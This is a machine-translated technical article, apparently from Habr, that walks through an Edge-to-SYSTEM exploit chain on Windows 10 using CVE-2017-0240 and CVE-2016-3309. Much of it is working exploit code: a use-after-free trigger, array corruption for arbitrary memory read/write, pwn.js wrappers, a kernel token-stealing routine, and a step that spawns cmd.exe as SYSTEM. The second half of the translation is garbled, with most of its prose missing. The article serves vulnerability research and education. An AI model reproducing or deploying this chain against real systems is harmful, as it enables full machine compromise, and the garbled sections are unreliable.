📜 ⬆️ ⬇️

Operating Microsoft Edge from CVE to RCE on Windows 10

Intro


In this article, we will examine in some detail the process of writing an exploit for a vulnerability in Microsoft Edge, followed by exiting the sandbox. If you are interested to know how this process looks like, then welcome under the cat!


Introduction


At the last Pwn2Own 2019 in Montreal, an exploit for hacking Microsoft Edge was demonstrated in the browsers category. For this, two vulnerabilities were used: double free in the renderer and logical vulnerability to exit the sandbox. These two vulnerabilities were recently closed and assigned to the appropriate CVE : CVE-2019-0940 and CVE-2019-0938 . You can read more about vulnerabilities in the blog: Pwn2Own 2019: Microsoft Edge Renderer Exploitation (CVE-2019-0940). Part 1 and Pwn2Own 2019: Microsoft Eedge Sandbox Escape (CVE-2019-0938). Part 2 .


In our article, we want to show the process of writing such an exploit and how much time and resources are needed for this using the example of the same Microsoft Edge on Windows 10 using CVE-2017-0240 and CVE-2016-3309 . One of the differences will be that if the exploit demonstrated on Pwn2Own used a logical vulnerability to exit the sandbox, in our scenario, the vulnerability in the Windows 10 kernel will be used to exit the sandbox. As the patches from Microsoft show, there are much more vulnerabilities in the core than vulnerabilities in the sandbox implementation. As a result, such a chain of vulnerabilities is much more likely to be found, and it will be useful to know the information security officers in companies.


Initial data


This article will cover the process of writing a 1-day exploit for the Microsoft Edge browser. CVE-2017-0240 will be operated. The first stage of operation will be made on the basis of materials from the source [1], we will get an arbitrary address read/write primitive, as well as get acquainted with various techniques that may be useful in the operation of such vulnerabilities. Next will be familiarity with the pwn.js tool, which will help get a call to arbitrary functions based on random read and write, various mitigations and ways to circumvent them will also be considered. At the last stage, the Windows kernel vulnerability CVE-2016-3309 will be exploited to elevate privileges, bypass AppContainer restrictions and gain complete control over the machine under AppContainer .


Operation will be carried out at the booth with Microsoft Windows 10 Pro 1703 (10.0.15063) and Microsoft Edge (40.15063.0.0) browser Microsoft Edge (40.15063.0.0) .


Step 1. Getting arbitrary address read/write primitive


Description of vulnerability and getting OOB


The use-after-free vulnerability is present in the copyFromChannel method of the Audio Buffer object.


AudioBuffer is an interface of a short audio resource (audio asset) stored in memory and created from an audio file using the AudioContext.decodeAudioData () method, or from source data using the AudioContext.createBuffer () method. Audio data placed in an AudioBuffer can be played in an AudioBufferSourceNode.

The Advanced Exploitation of 64-bit Edge Browser Use-After-Free Vulnerability on Windows 10 presentation provides a detailed analysis of the vulnerability and patch. When you call the copyFromChannel method, the contents of the audio buffer channel are copied into the destination buffer specified by the first argument. The method also accepts the channel number ( channelNumber ) and the offset in the audio buffer ( startInChannel ), from which it is necessary to make a copy. Before directly copying the data to the destination , the CDOMAudioBuffer::Var_copyFromChannel function CDOMAudioBuffer::Var_copyFromChannel destination buffer (the address and buffer size are stored in local variables of the functions on the stack) and converts the values ​​of the channelNumber and startInChannel to the Int type, for which the valueOf method of the transformed objects is called. The vulnerability is that the cached buffer can be freed at the time of type conversion in the overridden valueOf method of the object. For verification, we use the following code:


 // ,     var t2 = new Float32Array(0x20000); var ta = new Uint8Array(t2.buffer); for (i=0;i<t2.length;i++) t2[i] = 0x66; var myctx = new AudioContext(); var audioBuf = myctx.createBuffer(1, 0x25, 22050); //   -   var t = audioBuf.getChannelData(0); var ta2 = new Uint8Array(t.buffer); for(i=0;i<ta2.length;i++) ta2[i]=0x55; //     valueOf var obj = { valueOf: function () { //   var worker = new Worker('worker.js'); worker.postMessage(0, [t2.buffer]); worker.terminate(); worker = null; //    sleep(1000); return 0; } }; //   audioBuf.copyFromChannel(t2, obj, 0); 

To free the buffer, this code uses the Web Workers technology. Having created an empty Worker , we can send him a message using the postMessage method. The second optional transfer argument of this method takes an array of Transferable objects ( ArrayBuffer , MessagePost or ImageBitmap ), the rights to the object will be transferred to the Worker and the object will no longer be available in the current context, so it can be deleted. After this, the call to sleep occurs - a function that provides a temporary stop to the program execution (implemented independently). This is necessary in order for the garbage collection system ( GC , Garbage Collector ) to manage to free the buffer, the rights to which were transferred.


Web Workers provide an easy way to run scripts in a background thread. The Worker thread can perform tasks without interfering with the user interface. In addition, they can perform input / output using XMLHttpRequest (although the responseXML and channel attributes will always be null). An existing Worker can send JavaScript messages to the creator code via the event handler specified by this code (and vice versa).

By running this code in Edge under the debugger, you can get the following crash.


Step 01 crash


As a result, the copyFromChannel call copyFromChannel to copy the contents of the audio buffer to a non-localized memory area. To exploit the vulnerability, it is necessary to achieve allocation of any objects in this memory area. In this case, the array segment is perfect.


Arrays in Chakra ( JS engine used in the Edge browser) are arranged as follows: an array object has a fixed size, the pointers to the array objects themselves (or values, in the case of IntArray ) are stored in a separate memory area - a segment, the pointer to which is contained in the object array. The segment header contains various information, including the segment size, which corresponds to the size of the array. The size of the array is also present in the array object itself. Schematically it looks like this:


Array structure


Thus, if we manage to allocate an array segment in a previously freed space, then we will be able to overwrite the header of the array segment with the contents of the audio buffer. To do this, modify the code above, adding to the following lines after sleep(1000); :


 ... /*        ,    .   arr        */ arr = new Array(128); for(var i = 0; i < arr.length; i++) { arr[i] = new Array(0x3ff0); for(var j = 0; j < arr[i].length; j++) arr[i][j] = 0x30303030; } ... 

The size of the arrays is selected in such a way that the size of the array segment takes up a whole heap segment (the minimum indivisible part of the heap memory whose size is 0x10000 bytes). Run this code, specifying the memcpy function as a breakpoint (there will be many memcpy calls, so it makes sense to stop first at the edgehtml!WebCore::AudioBufferData::copyBufferData ) at which the crash occurred. We get the following result:


Step 02


Fine! Now we can rewrite the header of the array segment with our own values. The most interesting values ​​in this case are the size of the array, the offset of which we can see in the screenshot above. Change the contents of the audio buffer as follows:


 ... var t = audioBuf.getChannelData(0); var ta2 = new Uint32Array(t.buffer); ta2[0] = 0; ta2[1] = 0; ta2[2] = 0xffe0; ta2[3] = 0; ta2[4] = 0; ta2[5] = 0; ta2[6] = 0xfba6; ta2[7] = 0; ta2[8] = 0; ta2[9] = 0x7fffffff - 2; ta2[10] = 0x7fffffff; ta2[11] = 0; ta2[12] = 0; ta2[13] = 0; ta2[14] = 0x40404040; ta2[15] = 0x50505050; ... 

Pay attention to the values ​​of ta2[14] and ta2[15] - they already refer not to the header of the segment, but to the values ​​of the array itself. Using this, we can determine the array we need in the global arr array as follows:


 ... for(var i = 0; i < arr.length; i++) { if(arr[i][0] == 0x40404040 && arr[i][1] == 0x50505050) { alert('Target array idx: ' + i); target_idx = i; target_arr = arr[i]; break; } } 

If the result was an array, the first two elements of which were modified in a certain way, then everything is fine. Now we have an array whose segment size is larger than it actually is. The remaining arrays can be freed.


Here it is necessary to recall that the size of the array exists in two entities: in the object of the array, where it remains unchanged, and in the segment of the array, where we increased it. It turns out that the size in the array object is ignored if the code is executed in the JIT mode and has been optimized. This is easily achieved, for example, as follows:


 function arr_get(idx) { return target_arr[idx]; } function arr_set(idx, val) { target_arr[idx] = val; } for(var i = 0; i < 0x3ff0; i++) { arr_set(i, arr_get(i)); } 

After that, using the functions arr_get and arr_set you can access the bounds of the array ( OOB , out-of-bound ).


Using OOB to get a read and write primitive to an arbitrary address


In this section, we consider a technique that allows reading and writing at an arbitrary address using OOB . The method by which we get this will be similar to the one used in source [1], but there will also be significant changes.


In the used Edge version, heap memory blocks are allocated sequentially, due to which, if a large number of objects are selected, sooner or later they will end up after an array segment, beyond which we can turn.


First, it gives us the opportunity to read a pointer to a virtual table of object methods ( vftable ), so that we can bypass the randomization of the process address space ( ASLR ). But access to what objects will help us to achieve random read and write? A couple of DataView objects are great for this.


The DataView provides a low-level interface for reading and writing numerous numeric types in a binary ArrayBuffer, regardless of the byte order of the platform.

The internal structure of the DataView contains a pointer to a buffer. To read and write to an arbitrary address, for example, we can build a chain of two DataView ( dv1 and dv2 ) as follows: specify dv2 as the dv1 buffer by addressing outside the array. Now, with the help of dv1 we can change the address of the dv2 buffer, due to which arbitrary read and write is achieved. It can be schematically depicted as follows:


Arbitrary address read / write


To use this method, you need to learn how to identify the addresses of objects in memory. For this, the following technique exists: it is necessary to create a new Array , use the OOB to save its vftable and typeId (the first two 64-bit fields of the structure) and assign an object to the first element of the array whose address we are interested in. Then, you must restore the previously saved vftable and typeId . Now the low and high double words of the object address can be obtained by referring to the first and second elements of the array. The fact is that by default the new array is IntArray , and its segment contains 4-byte array values ​​as they are. When an array is assigned to an object, the array is converted to an ObjectArray , and its segment is used to store the addresses of the objects. During conversion, vftable and typeId . Accordingly, if we restore the original values ​​of vftable and typeId , through the elements of this array we can directly access the segment. Schematically described process can be represented as follows:


Pointer leak


The function for getting the address will be as follows:


 function addressOf(obj) { var hdr_backup = new Array(4); //  vftable  typeId intarr_object for(var i = 0; i < 4; i++) hdr_backup[i] = arr_get(intarr_idx + i); intarr_object[0] = obj; //  vftable  typeId intarr_object for(var i = 0; i < 4; i++) arr_set(intarr_idx + i, hdr_backup[i]); //         return [intarr_object[0], intarr_object[1]]; } 

An open question is the creation of necessary objects and their search using OOB . As mentioned earlier, when allocating a large number of objects, sooner or later they will start to stand out after the array segment, beyond which we can turn. To find the necessary objects, you just need to go through the indices outside the array in the search for the necessary objects. Because all objects of the same type are located in the same heap segment, you can optimize the search and go through the heap segments in increments of 0x10000 , and check only the first few values ​​from the beginning of each heap segment. To identify objects, you can set them unique values ​​of any parameters (for example, for a DataView this can be byteOffset ) or, using already known constants in the object structure (for example, in the used Edge version in IntArray at 0x18 offset is always 0x10005 ).


Combining all the above techniques, you can get a read and write to an arbitrary address. Below is a screenshot of the reading memory of DataView objects.


Memory leak


Step 2. Execution of arbitrary API functions


At this stage, we have the ability to read and write to an arbitrary address within the process of displaying content Edge . Consider the basic technologies that should prevent the further operation of the application and means to circumvent them. We have already written a small series of articles app specific security mitigation ( part 1, introductory , part 2, Internet Explorer and Edge , part 3, Google Chrome ), but you should keep in mind that developers are not standing still and are adding new tools to their products protection.


Address Space Randomization ( ASLR )


ASLR (English address space layout randomization) is a technology used in operating systems, which randomly changes the location of important data structures in the address space of the process, namely: executable file images, loadable libraries, heaps and stack.

Above, we learned how to read virtual class table addresses using them; we can easily calculate the base address of the Chakra.dll module, so ASLR does not pose problems for further operation.


Data execution protection ( DEP , NX )


Data Execution Prevention (Eng. Dáta Execution Prevéntion, DEP) is a security feature built into Linux, Mac OS X, Android and Windows that prevents an application from executing code from a memory area marked as “data only”. It will prevent some attacks that, for example, save code in such an area using a buffer overflow.

One way to bypass this protection is to call VirtualAlloc using ROP chains. But in the case of Edge this method will not work because of ACG (see below).


Control Flow Guard ( CFG )


CFG is a protection mechanism aimed at complicating the exploitation of binary vulnerabilities in user and kernel-mode applications. The work of this mechanism is to validate implicit calls (indirect calls) that prevent an attacker from intercepting the flow of execution (for example, by rewriting the virtual function table)

This technology controls only indirect calls, for example, calls to methods from a virtual table of object functions. Return addresses on the stack are not monitored, and this can be used to build ROP chains. In the future, the use of ROP/JOP/COP chains may be hindered by Intel technology: Control-flow Enforcement Technology ( CET ). This technology consists of two parts:


  1. Shadow Stack is used to control return addresses and protects against ROP chains;
  2. Indirect Branch Tracking is a method of protection against JOP/COP chains. It is a new instruction ENDBRANCH , which marks all valid transition addresses for call and jmp instructions.

Arbitrary Code Guard ( ACG )


ACG is a technology that prevents dynamic code generation (it is not allowed to allocate the rwx memory area using VirtaulAlloc ) and its modifications (it is impossible to remap the existing memory area as executable)

This protection, like CFG , does not prevent the use of ROP chains.


AppContainer Isolation


AppContainer is a Microsoft technology that allows you to isolate the process by running it in a sandbox environment. This technology limits the process access to credentials, devices, file system, network, other processes and windows and is aimed at minimizing the possibilities of malware that has the ability to execute arbitrary code in the process.

This protection greatly complicates the process of operation. Because of this, we cannot call third-party executable files or access sensitive user information in memory or on disks. However, this protection can be overcome by using vulnerabilities in the implementation of the AppContainer sandbox or by elevating privileges through exploiting vulnerabilities in the OS kernel.


It is worth noting that Microsoft has a separate rewards program for security mitigation bypass techniques. The program states that the reuse of executable code (building ROP chains is a type of this technique) does not fall under the program, since is an architectural problem.


Using pwn.js


From the analysis of all protection technologies, it follows that in order to be able to execute arbitrary code, it is necessary to bypass the AppContainer sandbox. In this article we will describe a method using the Windows kernel vulnerability. At the same time, we can only use the JS code and ROP chains. Writing an exploit for the kernel using only ROP chains can be very difficult. To simplify this task, you can find a set of gadgets with which we could call the necessary WinAPI methods. Fortunately, this is already implemented in the pwn.js library. Using it, describing only the read and write functions for random reading and writing, you can get a convenient API for finding the necessary WinAPI functions and calling them. Also pwn.js provides a handy tool for working with 64-bit values ​​and pointers and tools for working with structures.


Consider a simple example. In the previous step, we got a chain of two related DataView . To prepare an exploit, you need to create the following class:


 var Exploit = (function() { var ChakraExploit = pwnjs.ChakraExploit; var Integer = pwnjs.Integer; function Exploit() { ChakraExploit.call(this); ... //  arbitrary address read/write    ... // DataView,         this.dv = ...; // DataView,     this.dv this.dv_offset = ...; //    Chakra.dll, ,     var vtable = ...; this.initChakra(vtable); } Exploit.prototype = Object.create(ChakraExploit.prototype); Exploit.prototype.constructor = Exploit; Exploit.prototype.set_dv_address = function(lo, hi) { this.dv_offset.setInt32(0x38, lo, true); this.dv_offset.setInt32(0x3c, hi, true); } Exploit.prototype.read = function (address, size) { this.set_dv_address(address.low, address.high); switch (size) { case 8: return new Integer(this.dv.getInt8(0, true), 0, true); case 16: return new Integer(this.dv.getInt16(0, true), 0, true); case 32: return new Integer(this.dv.getInt32(0, true), 0, true); case 64: return new Integer(this.dv.getInt32(0, true), this.dv.getInt32(4, true), true); } } Exploit.prototype.write = function (address, value, size) { this.set_dv_address(address.low, address.high); switch (size) { case 8: this.dv.setInt8(0, value.low, true); break; case 16: this.dv.setInt16(0, value.low, true); break; case 32: this.dv.setInt32(0, value.low, true); break; case 64: this.dv.setInt32(0, value.low, true); this.dv.setInt32(4, value.high, true); break; } } return Exploit; })(); 

, MessageBoxA :


 function run() { with (new Exploit()) { //alert('Chakra: ' + chakraBase.toString(16)); var MessageBoxA = importFunction('user32.dll', 'MessageBoxA', Int32); var GetActiveWindow = importFunction('user32.dll', 'GetActiveWindow', Int64); var hwnd = GetActiveWindow(); var ret = MessageBoxA(hwnd, new CString('PWNED'), new CString('PWNED'), 0); } } 

:


PWNED


3.


WinAPI . . CVE-2016-3309 . [7] [8], pwn.js [2] , GDI -. [9], [10] [11]. . , . , AppContainer , pwn.js . cmd.exe SYSTEM .


GDI — Windows , , .

, . JS - 64- kernel_read_64 kernel_write_64 , . Windows. BITMAP , . pwn.js . BITMAP , , :


 var BITMAP = new StructType([ ['poolHeader', new ArrayType(Uint32, 4)], // BASEOBJECT64 ['hHmgr', Uint64], ['ulShareCount', Uint32], ['cExclusiveLock', Uint16], ['BaseFlags', Uint16], ['Tid', Uint64], ['dhsurf', Uint64], ['hsurf', Uint64], ['dhpdev', Uint64], ['hdev', Uint64], ['sizlBitmap', SIZEL], ['cjBits', Uint32], ['pvBits', Uint64], ['pvScan0', Uint64], ]); 

Tid KTHREAD , , , EmpCheckErrataList , . , :


 ... var nt_EmpCheckErrataList_ptr = worker_bitmap_obj.Tid.add(0x2a8); var nt_EmpCheckErrataList = kernel_read_64(nt_EmpCheckErrataList_ptr); /* g_config   ,         empCheckErrataList  WinDbg        : ? nt!EmpCheckErrataList - nt */ var ntoskrnl_base_address = nt_EmpCheckErrataList.sub( g_config.nt_empCheckErrataList_offset); ... 

, AppContainer . AppContainer IsPackagedProcess ( Process Environment Block , PEB ), . Access Token , AppContainer . Access Token , . Access Token , . EPROCESS ActiveProcessLinks , . PEB EPROCESS . PsInitialSystemProcess , , ActiveProcessLinks .


Edge : , Edge . SYSTEM . , , winlogon.exe .


pwn.js :


 //  PEB   var pinfo = _PROCESS_BASIC_INFORMATION.Ptr.cast(malloc(_PROCESS_BASIC_INFORMATION.size)); var pinfo_sz = Uint64.Ptr.cast(malloc(8)); NtQueryInformationProcess(GetCurrentProcess(), 0, pinfo, _PROCESS_BASIC_INFORMATION.size, pinfo_sz); var peb = pinfo.PebBaseAddress; /*    IsPackagedProcess       peb   char * */ var bit_field = peb[3]; bit_field = bit_field.xor(1 << 4); peb[3] = bit_field; /*             WinDbg    .     : dt ntdll!_EPROCESS uniqueprocessid token activeprocesslinks           */ var ActiveProcessLinks = system_eprocess.add( g_config.ActiveProcessLinksOffset); var current_pid = GetCurrentProcessId(); var current_eprocess = null; var winlogon_pid = null; // winlogon.exe -  ,     cmd.exe var winlogon = new CString("winlogon.exe"); var image_name = malloc(16); var system_pid = kernel_read_64(system_eprocess.add( g_config.UniqueProcessIdOffset)); while(!current_eprocess || !winlogon_pid) { var eprocess = kernel_read_64(ActiveProcessLinks).sub( g_config.ActiveProcessLinksOffset); var pid = kernel_read_64(eprocess.add( g_config.UniqueProcessIdOffset)); //        //   Uint64.store( image_name.address, kernel_read_64(eprocess.add(g_config.ImageNameOffset)) ); Uint64.store( image_name.address.add(8), kernel_read_64(eprocess.add(g_config.ImageNameOffset + 8)) ); //   winlogon.exe    if(_stricmp(winlogon, image_name).eq(0)) { winlogon_pid = pid; } if (current_pid.eq(pid)) { current_eprocess = eprocess; } //        ActiveProcessLinks = eprocess.add( g_config.ActiveProcessLinksOffset); } //     var sys_token = kernel_read_64(system_eprocess.add(g_config.TokenOffset)); //          //   winlogon.exe var pi = malloc(24); memset(pi, 0, 24); var si = malloc(104 + 8); memset(si, 0, 104 + 8); Uint32.store(si.address, new Integer(104 + 8)); var args = WString("cmd.exe"); var AttributeListSize = Uint64.Ptr.cast(malloc(8)); InitializeProcThreadAttributeList(0, 1, 0, AttributeListSize); var lpAttributeList = malloc(AttributeListSize[0]); Uint64.store( si.address.add(104), lpAttributeList ); InitializeProcThreadAttributeList(lpAttributeList, 1, 0, AttributeListSize) var winlogon_handle = Uint64.Ptr.cast(malloc(8)); //       kernel_write_64(current_eprocess.add(g_config.TokenOffset), sys_token); /*        AppContainer,       winlogon.exe         winlogon.exe */ winlogon_handle[0] = OpenProcess(PROCESS_ALL_ACCESS, 0, winlogon_pid); UpdateProcThreadAttribute(lpAttributeList, 0, PROC_THREAD_ATTRIBUTE_PARENT_PROCESS, winlogon_handle, 8, 0, 0); CreateProcess(0, args, 0, 0, 0, EXTENDED_STARTUPINFO_PRESENT, 0, 0, si, pi); 

:


Final


YouTube , Microsoft Edge.


Total


:



, , . , , . .


Materials


  1. Liu Jin — The Advanced Exploitation of 64-bit Edge Browser Use-After-Free Vulnerability on Windows 10
  2. Andrew Wesie, Brian Pak — 1-Day Browser & Kernel
    Exploitation
  3. Natalie Silvanovich — The ECMA and the Chakra. Hunting bugs in the Microsoft Edge Script Engine
  4. Natalie Silvanovich — Your Chakra Is Not Aligned. Hunting bugs in the Microsoft Edge Script Engine
  5. phoenhex team — cve-2018-8629-chakra.js
  6. Quarkslab — Exploiting MS16-145: MS Edge TypedArray.sort Use-After-Free (CVE-2016-7288)
  7. Exploiting MS16-098 RGNOBJ Integer Overflow on Windows 8.1 x64 bit by abusing GDI objects
  8. Siberas — Kernel Exploitation Case Study — "Wild" Pool Overflow on Win10 x64 RS2 (CVE-2016-3309 Reloaded)
  9. Saif El-Sherei — Demystifying Windows Kernel Exploitation by Abusing GDI Objects
  10. Diego Juarez — Abusing GDI for ring0 exploit primitives
  11. Nicolas A. Economou — Abusing GDI for ring0 exploit
    primitives: Evolution
  12. pwn.js

')

Source: https://habr.com/ru/post/455594/


All Articles